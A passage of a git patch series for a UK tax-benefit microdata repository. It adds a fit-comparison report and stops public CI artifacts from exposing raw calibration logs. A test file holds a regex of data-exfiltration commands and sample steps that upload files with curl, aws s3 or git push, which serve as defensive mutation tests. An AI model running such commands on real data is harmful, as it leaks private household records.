     """Failures, flags and the summary for a head build against its base."""
     failures, notes = [], []
+    for side, s in (("base", base), ("head", head)):
+        if s.get("schema") != SCHEMA:
+            failures.append(f"The {side} fit summary is missing or malformed.")
+            continue
+        if not s["national"] or not s["local"]:
+            missing = "national" if not s["national"] else "local"
+            failures.append(f"The {side} build's last epoch has no {missing} targets.")
+        previous = s["rows_previous_epoch"]
+        if previous and s["rows_last_epoch"] < previous:
+            failures.append(
+                f"The {side} build's last logged epoch ({s['epoch']}) has fewer rows "
+                f"({s['rows_last_epoch']}) than the one before ({previous}): the log "
+                "is incomplete."
+            )
+    if failures:
+        return {
+            "status": "fail",
+            "failures": failures,
+            "notes": [],
+            "flags": [],
+            "summary": {},
+            "targets_compared": 0,
+        }
     # A log's last epoch is a multiple of ten or, since #594, the final one;
     # the same epoch count gives last epochs less than ten apart.
-    if abs(base.epoch - head.epoch) >= 10:
+    if abs(base["epoch"] - head["epoch"]) >= 10:
         failures.append(
-            f"The builds ran different epochs (logs end at {base.epoch} and "
-            f"{head.epoch}), so their fits cannot be compared."
+            f"The builds' logs end at epochs {base['epoch']} and {head['epoch']}, so "
+            "they ran different epoch counts and their fits cannot be compared."
         )
-    elif base.epoch != head.epoch:
+    elif base["epoch"] != head["epoch"]:
         notes.append(
-            f"The base log ends at epoch {base.epoch} and the head's at {head.epoch}: "
-            "one of them saves the final epoch (#594)."
+            f"The base log ends at epoch {base['epoch']} and the head's at "
+            f"{head['epoch']}: one of them saves the final epoch (#594)."
         )
     summary = {}
-    for name, b, h in (
-        ("national", base.national_within, head.national_within),
-        ("local", base.local_within, head.local_within),
-    ):
-        summary[name] = {"base": b, "head": h, "change": h - b}
-        if h < b - policy.share_drop_allowance:
+    for name in ("national", "local"):
+        b, h = base[name], head[name]
+        common = sorted(set(b) & set(h))
+        added, removed = sorted(set(h) - set(b)), sorted(set(b) - set(h))
+        before = _share([_within(b[k]) for k in common])
+        after = _share([_within(h[k]) for k in common])
+        summary[name] = {
+            "base": before,
+            "head": after,
+            "change": after - before,
+            "compared": len(common),
+        }
+        if added:
+            notes.append(
+                f"{len(added)} {name} targets are new: {', '.join(added[:10])}"
+            )
+        if removed:
+            notes.append(
+                f"{len(removed)} {name} targets are gone: {', '.join(removed[:10])}"
+            )
+        if not common:
+            failures.append(f"The builds have no {name} targets in common.")
+        elif after < before - policy.share_drop_allowance:
             failures.append(
-                f"The share of {name} targets within 10% falls from {b:.1%} to {h:.1%}, "
-                f"by more than the {policy.share_drop_allowance:.1%} allowed."
+                f"The share of {name} targets within 10% falls from {before:.1%} to "
+                f"{after:.1%}, over the {len(common)} targets both builds have, by "
+                f"more than the {policy.share_drop_allowance:.1%} allowed."
             )
-    common = base.national.index.intersection(head.national.index)
-    added = sorted(set(head.national.index) - set(common))
-    removed = sorted(set(base.national.index) - set(common))
-    if added:
-        notes.append(f"{len(added)} national targets are new: {', '.join(added[:10])}")
-    if removed:
-        notes.append(
-            f"{len(removed)} national targets are gone: {', '.join(removed[:10])}"
-        )
-    # Largest rise first; ties keep the log's order, so a comparison is
-    # reproducible.
-    rise = (head.national[common] - base.national[common]).sort_values(
-        ascending=False, kind="mergesort"
-    )
-    flags = [
-        {"target": t, "base": float(base.national[t]), "head": float(head.national[t])}
-        for t, r in rise.items()
-        if r > policy.target_flag_threshold
-    ]
+    flags = []
+    for target in sorted(set(base["national"]) & set(head["national"])):
+        b = base["national"][target]["error"]
+        h = head["national"][target]["error"]
+        if b is not None and h is not None and h - b > policy.target_flag_threshold:
+            flags.append({"target": target, "base": b, "head": h})
+    flags.sort(key=lambda f: f["base"] - f["head"])
     return {
         "status": "fail" if failures else "pass",
         "failures": failures,
         "notes": notes,
         "flags": flags,
         "summary": summary,
-        "targets_compared": len(common),
+        "targets_compared": summary["national"]["compared"],
     }
 
 
 def render(result: dict, policy: FitPolicy) -> str:
-    lines = [
-        f"## Calibration fit against the base build: {result['status']}",
-        "",
-        "| Targets within 10% | Base | Head | Change |",
-        "|---|---:|---:|---:|",
-    ]
-    for name, row in result["summary"].items():
-        lines.append(
-            f"| {name.capitalize()} | {row['base']:.1%} | {row['head']:.1%} | {100 * row['change']:+.1f}pp |"
-        )
-    lines.append("")
-    lines.append(
-        f"A drop of more than {policy.share_drop_allowance:.1%} fails. "
-        f"{result['targets_compared']} national targets were compared."
-    )
+    lines = [f"## Calibration fit against the base build: {result['status']}", ""]
+    if result["summary"]:
+        lines += [
+            "| Targets within 10% (those both builds have) | Base | Head | Change |",
+            "|---|---:|---:|---:|",
+        ]
+        for name, row in result["summary"].items():
+            lines.append(
+                f"| {name.capitalize()} ({row['compared']:,}) | {row['base']:.1%} "
+                f"| {row['head']:.1%} | {100 * row['change']:+.1f}pp |"
+            )
+        lines += ["", f"A drop of more than {policy.share_drop_allowance:.1%} fails."]
     if result["failures"]:
         lines += ["", "### Failures", ""] + [f"- {f}" for f in result["failures"]]
     if result["notes"]:
@@ -183,7 +224,8 @@ def render(result: dict, policy: FitPolicy) -> str:
     flags = result["flags"]
     lines += [
         "",
-        f"### National targets whose error rises by more than {policy.target_flag_threshold:.2f} ({len(flags)})",
+        "### National targets whose error rises by more than "
+        f"{policy.target_flag_threshold:.2f} ({len(flags)})",
         "",
     ]
     if flags:
@@ -198,7 +240,9 @@ def render(result: dict, policy: FitPolicy) -> str:
         lines.append("None.")
     lines += [
         "",
-        "Flags are for review; builds of the same code differ this much (#598).",
+        "Flags are for review; builds of the same code differ this much (#598). "
+        f"Targets supported by fewer than {MIN_RECORDS} households have no published "
+        "error.",
     ]
     return "\n".join(lines) + "\n"
 
@@ -208,16 +252,29 @@ def main(argv: Optional[list] = None) -> int:
         prog="python -m policyengine_uk_data.utils.fit_report"
     )
     sub = parser.add_subparsers(dest="command", required=True)
+    s = sub.add_parser("summarise", help="reduce a calibration log to a safe summary")
+    s.add_argument("log")
+    s.add_argument("--out", required=True)
     c = sub.add_parser(
-        "compare", help="compare a head build's final fit with its base's"
+        "compare", help="compare a head build's fit summary with its base's"
     )
     c.add_argument("base")
     c.add_argument("head")
     c.add_argument("--markdown", help="write the comparison here as markdown")
     c.add_argument("--policy", help="fit policy YAML (default targets/fit_policy.yaml)")
     args = parser.parse_args(argv)
+    if args.command == "summarise":
+        summary = summarise(args.log)
+        Path(args.out).write_text(json.dumps(summary))
+        print(
+            f"epoch {summary['epoch']}: {len(summary['national'])} national, "
+            f"{len(summary['local'])} local targets"
+        )
+        return 0
     policy = load_policy(args.policy)
-    result = compare_fits(final_fit(args.base), final_fit(args.head), policy)
+    base = json.loads(Path(args.base).read_text())
+    head = json.loads(Path(args.head).read_text())
+    result = compare(base, head, policy)
     text = render(result, policy)
     if args.markdown:
         Path(args.markdown).write_text(text)

From 48f88ad60c7319fb1c89e32f331db73d59ff11e5 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 09:26:36 -0400
Subject: [PATCH 29/76] An empty HBAI group has no rate, not a NaN

hbai_measures divided by a zero group weight, which warned and gave NaN.
It now returns None for an empty group, the report marks it outside its
interval, and compare fails on it as missing or not finite.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../tests/test_distribution_validation.py             | 11 +++++++++++
 policyengine_uk_data/utils/distribution_validation.py |  8 +++++---
 2 files changed, 16 insertions(+), 3 deletions(-)

diff --git a/policyengine_uk_data/tests/test_distribution_validation.py b/policyengine_uk_data/tests/test_distribution_validation.py
index ae8103a8..05ffc884 100644
--- a/policyengine_uk_data/tests/test_distribution_validation.py
+++ b/policyengine_uk_data/tests/test_distribution_validation.py
@@ -180,6 +180,11 @@ def test_negative_incomes_before_housing_costs_are_reset_to_zero_as_hbai_does():
     assert m["mean_bhc"] == pytest.approx(200) and m["mean_ahc"] == pytest.approx(150)
     assert m["gini_bhc"] == pytest.approx(40.0)
     assert m["gini_ahc"] == pytest.approx(53.333333, rel=1e-6)
+    # No children or pensioners: those groups have no rate, not a NaN.
+    assert m["relative_low_income_bhc_children"] is None
+    assert m["relative_low_income_ahc_pensioners"] is None
+    # Median 200, line 120: incomes 0 and 100 are below it.
+    assert m["relative_low_income_bhc_working_age"] == pytest.approx(40.0)
 
 
 def test_an_incomplete_or_non_finite_report_fails():
@@ -193,6 +198,12 @@ def test_an_incomplete_or_non_finite_report_fails():
     head["summary"]["single_age"]["mean_abs_error_0_79"] = float("nan")
     result = compare(_report(), head)
     assert result["status"] == "fail" and "not finite" in result["failures"][0]
+    head = _report()
+    name = next(iter(head["hbai"]))
+    head["hbai"][name]["value"] = None  # an empty group
+    result = compare(_report(), head)
+    assert result["status"] == "fail"
+    assert f"HBAI {name} is missing or not finite on one side." in result["failures"]
 
 
 def test_the_workflow_fails_when_a_distribution_report_is_missing():
diff --git a/policyengine_uk_data/utils/distribution_validation.py b/policyengine_uk_data/utils/distribution_validation.py
index bc7d87a0..67ff43b1 100644
--- a/policyengine_uk_data/utils/distribution_validation.py
+++ b/policyengine_uk_data/utils/distribution_validation.py
@@ -113,8 +113,10 @@ def hbai_measures(income_bhc, income_ahc, weights, child, pensioner) -> dict:
         low = income < 0.6 * median
         for group, mask in groups.items():
             w = weights * mask
-            out[f"relative_low_income_{suffix}_{group}"] = float(
-                100 * np.sum(w * low) / np.sum(w)
+            total = np.sum(w)
+            # An empty group has no rate; compare fails on it.
+            out[f"relative_low_income_{suffix}_{group}"] = (
+                float(100 * np.sum(w * low) / total) if total > 0 else None
             )
     return out
 
@@ -235,7 +237,7 @@ def person(variable, year):
             "reference": ref["estimate"],
             "low": ref["low"],
             "high": ref["high"],
-            "inside": bool(ref["low"] <= value <= ref["high"]),
+            "inside": value is not None and bool(ref["low"] <= value <= ref["high"]),
         }
     gender = np.asarray(sim.calculate("gender", age_year).values).astype(str)
     ages = single_ages(

From 564f3702ef67cccf1741098eb5cea7d88b8c5534 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 09:27:16 -0400
Subject: [PATCH 30/76] Format calibrate.py and say only the fit summary leaves
 the base build

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .github/workflows/pull_request.yaml                        | 7 ++++---
 .../datasets/local_areas/constituencies/calibrate.py       | 4 ++--
 2 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index f7cf0b8c..8e7b3073 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -106,9 +106,10 @@ jobs:
           TESTING: "1"
   # The no-worsening check (W3). The base is built the same way as the head:
   # TESTING, one clone and the head's lockfile, so both builds run one model
-  # and environment and the comparison measures the data change. Only the
-  # base's calibration log leaves the job. Like the head's, it holds target
-  # estimates and values, aggregates; no dataset is uploaded or cached.
+  # and environment and the comparison measures the data change. As in the
+  # test job, only the fit summary leaves it. No dataset or calibration log
+  # is uploaded, and no dataset is cached (setup-uv caches Python packages
+  # only).
   base-build:
     name: Build the base for comparison
     runs-on: ubuntu-latest
diff --git a/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py b/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
index f361af6b..fd29cec7 100644
--- a/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
+++ b/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
@@ -96,8 +96,8 @@ def get_performance(weights, m_c, y_c, m_n, y_n, excluded_targets):
     # records support its estimate (utils/fit_report.py publishes a target's
     # error only from 10 records up).
     national_target_validation["records"] = (
-        (np.asarray(national_target_matrix) != 0).sum(axis=0)
-    )
+        np.asarray(national_target_matrix) != 0
+    ).sum(axis=0)
 
     national_target_validation["error"] = (
         national_target_validation["estimate"] - national_target_validation["target"]

From ddef8bba1a69220cf2752c904f72a66bc38bf564 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 09:34:23 -0400
Subject: [PATCH 31/76] Stop uploading raw calibration logs as public Actions
 artifacts

The constituency and local authority calibration logs hold every target's
weighted estimate at every logged epoch, with no small-cell control. A
target supported by a few households, divided by a published count, could
give one household's value back (Sol review of #599, shown on synthetic
inputs). This repository's artifacts are public. Nothing downloads them.

A test fails if any workflow uploads a calibration log again.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .github/workflows/pull_request.yaml           | 16 +++------
 .github/workflows/push.yaml                   | 16 +++------
 ...top-raw-calibration-log-artifacts.fixed.md |  1 +
 .../tests/test_workflow_artifacts.py          | 35 +++++++++++++++++++
 4 files changed, 46 insertions(+), 22 deletions(-)
 create mode 100644 changelog.d/stop-raw-calibration-log-artifacts.fixed.md
 create mode 100644 policyengine_uk_data/tests/test_workflow_artifacts.py

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index 9443fa25..90f3ec5e 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -86,17 +86,11 @@ jobs:
         run: uv run --frozen make data
         env:
           TESTING: "1"
-      - name: Save calibration log (constituencies)
-        uses: actions/upload-artifact@v7
-        with:
-          name: constituency_calibration_log.csv
-          path: constituency_calibration_log.csv
-      
-      - name: Save calibration log (local authorities)
-        uses: actions/upload-artifact@v7
-        with:
-          name: la_calibration_log.csv
-          path: la_calibration_log.csv
+      # The raw calibration logs stay on the runner. They hold every target's
+      # weighted estimate at every logged epoch with no small-cell control, so a
+      # target supported by a few households, divided by a published count,
+      # could give one household's value back, and this repository's
+      # artifacts are public.
 
       - name: Run tests
         run: uv run --frozen make test
diff --git a/.github/workflows/push.yaml b/.github/workflows/push.yaml
index 87c2e406..fccbbeee 100644
--- a/.github/workflows/push.yaml
+++ b/.github/workflows/push.yaml
@@ -139,17 +139,11 @@ jobs:
           HUGGING_FACE_TOKEN: ${{ secrets.HUGGING_FACE_TOKEN }}
       - name: Build datasets
         run: uv run --frozen make data
-      - name: Save calibration log (constituencies)
-        uses: actions/upload-artifact@v7
-        with:
-          name: constituency_calibration_log.csv
-          path: constituency_calibration_log.csv
-      
-      - name: Save calibration log (local authorities)
-        uses: actions/upload-artifact@v7
-        with:
-          name: la_calibration_log.csv
-          path: la_calibration_log.csv
+      # The raw calibration logs stay on the runner. They hold every target's
+      # weighted estimate at every logged epoch with no small-cell control, so a
+      # target supported by a few households, divided by a published count,
+      # could give one household's value back, and this repository's
+      # artifacts are public.
       - name: Run tests
         run: uv run --frozen make test
       - name: Upload data
diff --git a/changelog.d/stop-raw-calibration-log-artifacts.fixed.md b/changelog.d/stop-raw-calibration-log-artifacts.fixed.md
new file mode 100644
index 00000000..4ff272a3
--- /dev/null
+++ b/changelog.d/stop-raw-calibration-log-artifacts.fixed.md
@@ -0,0 +1 @@
+Pull request and push builds no longer upload the raw constituency and local authority calibration logs as Actions artifacts, which are public on this repository; the logs stay on the runner.
diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py
new file mode 100644
index 00000000..563eec56
--- /dev/null
+++ b/policyengine_uk_data/tests/test_workflow_artifacts.py
@@ -0,0 +1,35 @@
+"""No workflow uploads a raw calibration log.
+
+The logs hold each target's weighted estimate, nationally and for every
+constituency and local authority, with no small-cell control. A target
+supported by a few households, divided by a published count, could give one
+household's value back, and this repository's Actions artifacts are public.
+"""
+
+from pathlib import Path
+
+import pytest
+import yaml
+
+WORKFLOWS = sorted((Path(__file__).parents[2] / ".github" / "workflows").glob("*.y*ml"))
+
+
+def _uploads(workflow: Path) -> list:
+    jobs = yaml.safe_load(workflow.read_text()).get("jobs") or {}
+    return [
+        str(step.get("with", {}).get("path", ""))
+        for job in jobs.values()
+        for step in job.get("steps", [])
+        if str(step.get("uses", "")).startswith("actions/upload-artifact")
+    ]
+
+
+def test_the_workflows_are_found():
+    names = {w.name for w in WORKFLOWS}
+    assert {"pull_request.yaml", "push.yaml"} <= names
+
+
+@pytest.mark.parametrize("workflow", WORKFLOWS, ids=lambda w: w.name)
+def test_no_workflow_uploads_a_raw_calibration_log(workflow):
+    uploads = _uploads(workflow)
+    assert not [p for p in uploads if "calibration_log" in p], uploads

From b9571570b1e451276ebd7e9bdb8707b78c37a780 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 09:35:18 -0400
Subject: [PATCH 32/76] Describe the fit summary in the changelog fragment

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 changelog.d/fit-comparison.added.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/changelog.d/fit-comparison.added.md b/changelog.d/fit-comparison.added.md
index 6c7bebf9..b0a949fe 100644
--- a/changelog.d/fit-comparison.added.md
+++ b/changelog.d/fit-comparison.added.md
@@ -1 +1 @@
-Build each pull request's base the same way as its head, with the head's lockfile, and fail when the share of national or local targets within 10% falls by more than 2 percentage points (`targets/fit_policy.yaml`). National targets whose error rises by more than 0.2 are flagged in a pull request comment. Adds `python -m policyengine_uk_data.utils.fit_report compare`.
+Build each pull request's base the same way as its head, with the head's lockfile, and fail when the share of national or local targets within 10% falls by more than 2 percentage points over the targets both builds have (`targets/fit_policy.yaml`). National targets whose error rises by more than 0.2 are flagged in a pull request comment. The raw calibration logs stay on the runner; only a disclosure-controlled fit summary is uploaded (`python -m policyengine_uk_data.utils.fit_report summarise` and `compare`).

From 342ea7968c677d3c7bbeb81f5ea8234b2f03d284 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 09:35:58 -0400
Subject: [PATCH 33/76] Say the flag evidence predates the records filter

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 policyengine_uk_data/targets/fit_policy.yaml | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/policyengine_uk_data/targets/fit_policy.yaml b/policyengine_uk_data/targets/fit_policy.yaml
index c0674db4..fc717b79 100644
--- a/policyengine_uk_data/targets/fit_policy.yaml
+++ b/policyengine_uk_data/targets/fit_policy.yaml
@@ -25,5 +25,7 @@ national_target:
   # pair (mean 1.8), so a list stays short. 0.1 gives up to 11 from noise
   # alone, and 0.3 would hide the largest same-code move on the OBR, ONS
   # population and DWP targets (0.21). Per-target moves don't fail until
-  # #598 is fixed.
+  # #598 is fixed. Those counts used every national target's error; the fit
+  # summary now publishes an error only for targets supported by at least
+  # 10 households (fit_report.MIN_RECORDS), so fewer can flag.
   flag_rise: 0.2

From e42d23db4394b0b23532c62182211a32b211c82c Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 10:55:36 -0400
Subject: [PATCH 34/76] Guard every route out of a job that can reach the data
 (Sol review of #603)

The substring check missed directories, globs, expressions and renamed
files. A job that holds a data credential or downloads artifacts may now
use only reviewed actions, upload only literal files reviewed for that job
with their producer, and run only reviewed publishing commands. Mutation
tests cover each bypass on a clean synthetic job.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../tests/test_workflow_artifacts.py          | 270 ++++++++++++++++--
 1 file changed, 254 insertions(+), 16 deletions(-)

diff --git a/policyengine_uk_data/tests/test_workflow_artifacts.py b/policyengine_uk_data/tests/test_workflow_artifacts.py
index 563eec56..dcbc463d 100644
--- a/policyengine_uk_data/tests/test_workflow_artifacts.py
+++ b/policyengine_uk_data/tests/test_workflow_artifacts.py
@@ -1,27 +1,141 @@
-"""No workflow uploads a raw calibration log.
+"""Nothing built from the microdata leaves CI unless it has been reviewed.
 
-The logs hold each target's weighted estimate, nationally and for every
-constituency and local authority, with no small-cell control. A target
-supported by a few households, divided by a published count, could give one
-household's value back, and this repository's Actions artifacts are public.
+The raw calibration logs hold each target's weighted estimate, nationally and
+for every constituency and local authority, with no small-cell control. A
+target supported by a few households, divided by a published count, could
+give one household's value back, and this repository's Actions artifacts are
+public. So the check is fail-closed rather than a list of forbidden names:
+
+- A job **can reach the data** when it holds a data credential (the Hugging
+  Face token or Google Cloud auth) or downloads artifacts that another job
+  uploaded.
+- In such a job, every action must be on ``NON_PUBLISHING_ACTIONS`` or be an
+  artifact upload. Every upload must name literal files reviewed for that job
+  in ``REVIEWED``: no directories, globs or expressions. Every run step that
+  matches ``PUBLISH_COMMAND`` must use a command reviewed for that job.
+- Jobs that cannot reach the data (docs, versioning, changelog) may publish;
+  they hold nothing built from it.
+
+Two parts rest on review rather than on the check:
+
+- ``PUBLISH_COMMAND`` lists known shell routes out of a runner, so a new kind of
+  command needs adding.
+- A reviewed file's producer pattern shows that the job runs its summarising
+  command. It does not prove that nothing overwrites the file afterwards.
 """
 
+from __future__ import annotations
+
+import copy
+import re
 from pathlib import Path
 
 import pytest
 import yaml
 
-WORKFLOWS = sorted((Path(__file__).parents[2] / ".github" / "workflows").glob("*.y*ml"))
+WORKFLOW_DIR = Path(__file__).parents[2] / ".github" / "workflows"
+WORKFLOWS = sorted(WORKFLOW_DIR.glob("*.y*ml"))
+
+DATA_CREDENTIALS = ("HUGGING_FACE_TOKEN", "google-github-actions/auth")
+
+# Actions that publish nothing: set-up, checkout, sign-in and reading
+# artifacts. setup-uv caches Python packages, not datasets.
+NON_PUBLISHING_ACTIONS = {
+    "actions/checkout",
+    "actions/setup-python",
+    "actions/setup-node",
+    "astral-sh/setup-uv",
+    "google-github-actions/auth",
+    "actions/create-github-app-token",
+    "actions/download-artifact",
+}
+
+# Reviewed routes out of each job that can reach the data:
+# (workflow file, job id) -> artifact paths it may upload, mapped to a
+# pattern its run steps must contain to produce that file from a
+# disclosure-controlled summary, and the publishing commands it may run.
+REVIEWED = {
+    ("push.yaml", "test"): {
+        "artifacts": {},
+        # Private Hugging Face and GCS datasets (upload_completed_datasets.py,
+        # data controller's destinations), then the release tag.
+        "commands": ("uv run --frozen make upload", ".github/publish-git-tag.sh"),
+    },
+}
+
+PUBLISH_COMMAND = re.compile(
+    r"make upload|publish-git-tag|\bgh (release|gist|api|pr comment|issue comment)\b"
+    r"|\bgit push\b|\bcurl\b.*(\s-T\b|--upload-file|\s-F\b|--data|\s-d\b|-X\s*(POST|PUT|PATCH))"
+    r"|\baws s3\b|\bgsutil\b|\bgcloud storage\b|huggingface-cli|\bhf upload\b|\btwine\b"
+)
+_NOT_LITERAL = re.compile(r"[*?\[\]{}!]|\$\{\{")
+
+
+def _jobs(workflow: dict) -> dict:
+    return workflow.get("jobs") or {}
 
 
-def _uploads(workflow: Path) -> list:
-    jobs = yaml.safe_load(workflow.read_text()).get("jobs") or {}
-    return [
-        str(step.get("with", {}).get("path", ""))
-        for job in jobs.values()
+def reaches_data(job: dict) -> bool:
+    text = yaml.safe_dump(job)
+    if any(credential in text for credential in DATA_CREDENTIALS):
+        return True
+    return any(
+        str(step.get("uses", "")).startswith("actions/download-artifact")
         for step in job.get("steps", [])
-        if str(step.get("uses", "")).startswith("actions/upload-artifact")
-    ]
+    )
+
+
+def _action(uses: str) -> str:
+    return uses.split("@", 1)[0]
+
+
+def problems(name: str, workflow: dict) -> list:
+    """Every unreviewed route out of a job of ``workflow`` that can reach the data."""
+    out = []
+    for job_id, job in _jobs(workflow).items():
+        if not reaches_data(job):
+            continue
+        where = f"{name} job {job_id}"
+        reviewed = REVIEWED.get((name, job_id), {"artifacts": {}, "commands": ()})
+        if "uses" in job:
+            out.append(f"{where} calls a reusable workflow ({job['uses']})")
+        runs = "\n".join(str(s.get("run", "")) for s in job.get("steps", []))
+        for step in job.get("steps", []):
+            uses = str(step.get("uses", ""))
+            if uses:
+                action = _action(uses)
+                if action == "actions/upload-artifact":
+                    path = str((step.get("with") or {}).get("path", ""))
+                    entries = [p.strip() for p in path.splitlines() if p.strip()]
+                    if not entries:
+                        out.append(f"{where} uploads an artifact with no path")
+                    for entry in entries:
+                        if _NOT_LITERAL.search(entry):
+                            out.append(
+                                f"{where} uploads a pattern or expression: {entry!r}"
+                            )
+                        elif entry in (".", "./") or entry.endswith("/"):
+                            out.append(f"{where} uploads a directory: {entry!r}")
+                        elif entry not in reviewed["artifacts"]:
+                            out.append(f"{where} uploads an unreviewed file: {entry!r}")
+                        elif not re.search(reviewed["artifacts"][entry], runs):
+                            out.append(
+                                f"{where} uploads {entry!r} without its reviewed producer"
+                            )
+                elif action not in NON_PUBLISHING_ACTIONS:
+                    out.append(f"{where} uses an unreviewed action: {uses}")
+            for line in str(step.get("run", "")).splitlines():
+                if PUBLISH_COMMAND.search(line) and not any(
+                    command in line for command in reviewed["commands"]
+                ):
+                    out.append(
+                        f"{where} runs an unreviewed publishing command: {line.strip()!r}"
+                    )
+    return out
+
+
+def _load(path: Path) -> dict:
+    return yaml.safe_load(path.read_text())
 
 
 def test_the_workflows_are_found():
@@ -30,6 +144,130 @@ def test_the_workflows_are_found():
 
 
 @pytest.mark.parametrize("workflow", WORKFLOWS, ids=lambda w: w.name)
-def test_no_workflow_uploads_a_raw_calibration_log(workflow):
-    uploads = _uploads(workflow)
-    assert not [p for p in uploads if "calibration_log" in p], uploads
+def test_no_unreviewed_route_out_of_a_job_that_can_reach_the_data(workflow):
+    assert problems(workflow.name, _load(workflow)) == []
+
+
+def test_the_dataset_building_jobs_are_recognised():
+    pull_request = _jobs(_load(WORKFLOW_DIR / "pull_request.yaml"))
+    push = _jobs(_load(WORKFLOW_DIR / "push.yaml"))
+    docs = _jobs(_load(WORKFLOW_DIR / "docs.yaml"))
+    assert reaches_data(pull_request["test"]) and reaches_data(push["test"])
+    assert not reaches_data(docs["build-and-deploy"])
+
+
+def test_every_reviewed_entry_names_a_real_job():
+    for name, job_id in REVIEWED:
+        assert job_id in _jobs(_load(WORKFLOW_DIR / name)), (name, job_id)
+
+
+# A clean job that builds the datasets, for the mutation tests below.
+DATA_JOB = {
+    "env": {"HUGGING_FACE_TOKEN": "${{ secrets.HUGGING_FACE_TOKEN }}"},
+    "steps": [
+        {"uses": "actions/checkout@v6"},
+        {"uses": "astral-sh/setup-uv@v8.1.0"},
+        {"run": "uv run --frozen make data"},
+    ],
+}
+
+
+def _with_step(*steps: dict) -> list:
+    job = copy.deepcopy(DATA_JOB)
+    job["steps"] += list(steps)
+    return problems("example.yaml", {"jobs": {"build": job}})
+
+
+def test_the_clean_data_job_passes():
+    """Baseline for the mutation tests: each failure below is the added step's."""
+    assert reaches_data(DATA_JOB)
+    assert _with_step() == []
+
+
+def _upload(path: str) -> dict:
+    return {"uses": "actions/upload-artifact@v7", "with": {"name": "x", "path": path}}
+
+
+@pytest.mark.parametrize(
+    "path",
+    [
+        "constituency_calibration_log.csv",
+        "la_calibration_log.csv",
+        "renamed.csv",
+        ".",
+        "./",
+        "policyengine_uk_data/storage/",
+        "*.csv",
+        "**/*.csv",
+        "${{ github.workspace }}",
+        "!private\nresults",
+        "fit_summary.json\nconstituency_calibration_log.csv",
+    ],
+)
+def test_an_unreviewed_upload_from_a_data_job_fails(path):
+    """Sol review of #603: names, directories, globs, expressions, every line."""
+    assert _with_step(_upload(path))
+
+
+@pytest.mark.parametrize(
+    "step",
+    [
+        {"uses": "actions/cache@v4", "with": {"path": "policyengine_uk_data/storage"}},
+        {"uses": "actions/upload-pages-artifact@v3", "with": {"path": "."}},
+        {"uses": "softprops/action-gh-release@v2", "with": {"files": "*.csv"}},
+        {"run": "gh release upload v1 constituency_calibration_log.csv"},
+        {"run": "curl -T la_calibration_log.csv https://example.org/"},
+        {"run": "aws s3 cp . s3://bucket --recursive"},
+        {"run": "git push origin HEAD:logs"},
+    ],
+)
+def test_other_routes_out_of_a_data_job_fail(step):
+    assert _with_step(step)
+
+
+def test_a_reusable_workflow_in_a_data_job_fails():
+    job = copy.deepcopy(DATA_JOB)
+    job["uses"] = "org/repo/.github/workflows/publish.yaml@main"
+    assert problems("example.yaml", {"jobs": {"build": job}})
+
+
+def test_downloading_artifacts_makes_a_job_a_data_job():
+    job = {
+        "steps": [
+            {"uses": "actions/download-artifact@v8", "with": {"path": "logs"}},
+            {
+                "uses": "JamesIves/github-pages-deploy-action@v4",
+                "with": {"folder": "logs"},
+            },
+        ]
+    }
+    assert problems("example.yaml", {"jobs": {"publish": job}})
+
+
+def test_a_job_without_data_may_publish():
+    """The docs deploy holds nothing built from the microdata."""
+    job = {
+        "steps": [
+            {"uses": "actions/checkout@v6"},
+            {
+                "uses": "JamesIves/github-pages-deploy-action@v4",
+                "with": {"folder": "docs"},
+            },
+        ]
+    }
+    assert problems("example.yaml", {"jobs": {"docs": job}}) == []
+
+
+def test_a_reviewed_file_needs_its_producer(monkeypatch):
+    monkeypatch.setitem(
+        REVIEWED,
+        ("example.yaml", "build"),
+        {
+            "artifacts": {"summary.json": r"summarise \S+ --out summary\.json"},
+            "commands": (),
+        },
+    )
+    produce = {"run": "python -m tool summarise log.csv --out summary.json"}
+    assert _with_step(_upload("summary.json"))
+    assert _with_step(produce, _upload("summary.json")) == []
+    assert _with_step(produce, _upload("summary.json\nlog.csv"))

From f1faff2fbc54eccb2814c3eb3459d21e110fee7e Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 11:09:17 -0400
Subject: [PATCH 35/76] Harden OBR ingest for Budget day (Sol re-review of
 #592)

- Refuse a row whose label gives its own unit in any spelling, or that sits
  under a unit sub-heading, rather than listing exact forms.
- Accept plausible EFO title formats (reordered, a closing note, trailing
  punctuation, Unicode spaces and dashes) while refusing any title that
  names another vintage, another report or another kind.
- Write the workbooks and the manifest under temporary names and rename
  them into place; a partial ingest is named on the next try.
- Fail coverage when a target is built twice.
- Require the download pages on a real ingest.

None of the 26 rows the build reads from the March 2026 workbooks (25 targets) is refused.

